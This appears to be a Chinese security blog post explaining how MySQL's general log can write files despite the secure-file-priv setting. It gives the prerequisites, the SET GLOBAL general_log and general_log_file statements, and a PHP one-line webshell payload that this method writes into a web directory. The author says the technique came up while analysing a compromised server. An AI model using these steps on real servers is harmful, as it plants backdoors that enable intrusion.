利用 general log 突破 MySQL 的 secure-file-priv 限制

利用 general log 突破 MySQL 的 secure-file-priv 限制

前言

利用 MySQL 进行文件(特别是木马文件)的写入,常常会用到 SELECT INTO FILE 这样一条语句,但是这条 SQL 语句的可写出路径会受到 secure-file-priv 设置项的限制。在朋友一次服务器被挂马的分析中,发现了一个利用 MySQL 的 general log 进行文件写入的操作。

前提条件

  • MySQL 拥有网站目录的写权限
  • SQL 注入可用,或有 phpMyAdmin 等执行SQL语句的途径
  • MySQL root 用户权限(日志方法需要)

利用 MySQL 进行文件写入

常用方法

在拥有网站目录写入权限的情况下,利用MySQL进行文件写入的一般做法是

SELECT <content> INTO FILE <filepath>

但使用这种方法有一个限制,MySQL 通过 secure-file-priv 参数可以限制 MySQL 通过 SELECT INTO OUTFILE 写出文件的可选路径,具体允许写入的路径通过 my.ini 配置文件中的配置项进行指定。

[MySQLd]
secure-file-priv = ""

也就是说假如指定了 secure-file-priv = "D:\Temp\" ,则 SELECT INFO FILE 就只能写入到 D:\Temp\ 目录下的位置。(指定为NULL则不允许写入到任何位置)

要查看 MySQL 的 secure-file-priv 设置可以通过以下 SQL 查询。

SHOW VARIABLES LIKE "secure_file_priv";

另外 secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。

mysql> SET GLOBAL secure_file_priv='';
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

因此在进行了正确配置的 MySQL 下 SELECT INTO OUTFILE 这种做法是不奏效的。

日志方法

但仍然有其他途径可以利用。以下方法需要 MySQL 的 SUPER 权限(root 用户)。

MySQL 文档中对 general log 的说明如下:

Established client connections and statements received from clients

执行的 SQL 语句的内容都会写到 general log 的日志文件中,换句话说,只要开启 general log,并且执行一条内容包含 <?php @eval($_POST[123])?> 的语句,就能把这个一句话木马写入到指定文件,且不受 secure-file-priv 的限制。

通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:

SET GLOBAL general_log=on;
SET GLOBAL general_log_file='目标文件路径'; 

然后执行一条包含要写入的内容的SQL语句,即可写入到目标文件上。

SELECT '要写入的文件内容';

示例

general log 利用示例

本文采用 署名-非商业性使用 4.0 国际许可协议 进行许可。
本文链接:https://blog.kenorizon.cn/security/mysql-general-log-exploit.html
# MySQL

评论

暂无

添加新评论